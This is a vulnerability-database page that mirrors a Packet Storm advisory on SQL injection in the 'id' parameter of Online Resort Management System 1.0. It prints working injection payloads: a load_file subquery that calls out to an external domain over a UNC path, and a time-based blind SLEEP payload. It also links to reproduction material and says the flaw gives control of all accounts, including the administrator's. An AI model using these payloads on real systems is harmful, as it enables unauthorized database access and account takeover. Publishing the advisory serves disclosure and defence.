Lucene search
K

Online Resort Management System 1.0 SQL Injection

🗓️ 10 Jan 2022 00:00:00Reported by nu11secur1tyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 251 Views

Online Resort Management System 1.0 SQL Injection vulnerability identifie

Code
`## Title: Online Resort Management System 1.0 SQL - Injections  
## Author: nu11secur1ty  
## Date: 01.09.2022  
## Vendor: https://www.sourcecodester.com/users/tips23  
## Software: https://www.sourcecodester.com/php/15126/online-resort-management-system-using-phpoop-free-source-code.html  
  
## Description:  
The id parameter appears to be vulnerable to SQL injection attacks.  
The payload '+(select  
load_file('\\\\g5m5022yoztcb375vu5zomhbn2tvhl5c80znqbf.chushkopeks.net\\qru'))+'  
was submitted in the id parameter.  
This payload injects a SQL sub-query that calls MySQL's load_file  
function with a UNC file path that references a URL on an external  
domain.  
The application interacted with that domain, indicating that the  
injected SQL query was executed.  
The attacker can take account control of all accounts plus an  
administrator account on this system.  
Status: CRITICAL  
  
[+] Payload:  
  
```mysql  
---  
Parameter: id (GET)  
Type: time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
Payload: page=view_room&id=5'+(select  
load_file('\\\\g5m5022yoztcb375vu5zomhbn2tvhl5c80znqbf.chushkopek.net\\qru'))+''  
AND (SELECT 7995 FROM (SELECT(SLEEP(3)))MQXi) AND 'RNQM'='RNQM  
---  
  
```  
  
## Reproduce:  
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/2022/Online-Resort-Management-System-1.0)  
  
## Proof and Exploit:  
[href](https://streamable.com/524sxp)  
  
  
--   
System Administrator - Infrastructure Engineer  
Penetration Testing Engineer  
Exploit developer at https://packetstormsecurity.com/  
https://cve.mitre.org/index.html and https://www.exploit-db.com/  
home page: https://www.nu11secur1ty.com/  
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=  
nu11secur1ty <http://nu11secur1ty.com/>  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation